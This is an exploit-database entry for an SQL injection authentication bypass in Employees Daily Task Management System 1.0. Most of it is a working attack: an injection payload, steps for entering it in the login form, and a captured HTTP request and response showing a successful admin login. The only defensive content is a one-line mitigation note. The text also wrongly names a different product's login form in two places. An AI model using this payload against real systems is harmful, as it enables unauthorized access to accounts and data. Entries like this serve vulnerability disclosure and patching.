Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass

vendor:

Employees Daily Task Management System

by:

able403

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Employees Daily Task Management System

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE: a:sourcecodester:employees_daily_task_management_system:1.0

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2021

Employees Daily Task Management System 1.0 – ‘username’ SQLi Authentication Bypass

An SQL Injection vulnerability exists in the Employees Daily Task Management System admin login form which can allow an attacker to bypass authentication. The following payload will allow an attacker to bypass the authentication mechanism of the Engineers Online Portal login form - 123'+or+1=1+--+-

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in an SQL query.

Source

Exploit-DB raw data:

# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10 
# Vulnerable page: Actions.php
# VUlnerable parameters: "username"

Technical description:

An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.

Steps to exploit:

1) Navigate to http://localhost/login.php

2) Insert your payload in the user or password field 

3) Click login

Proof of concept (Poc):

The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 

123'+or+1=1+--+-




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POST /Actions.php?a=employee_login HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Origin: http://edtms.com

Connection: close

Referer: http://edtms.com/login.php

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




email=admin'+or+1=1+--+-&password=123123213




response




HTTP/1.1 200 OK

Date: Wed, 10 Nov 2021 02:23:38 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

X-Powered-By: PHP/8.0.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 48




{"status":"success","msg":"Login successfully."}




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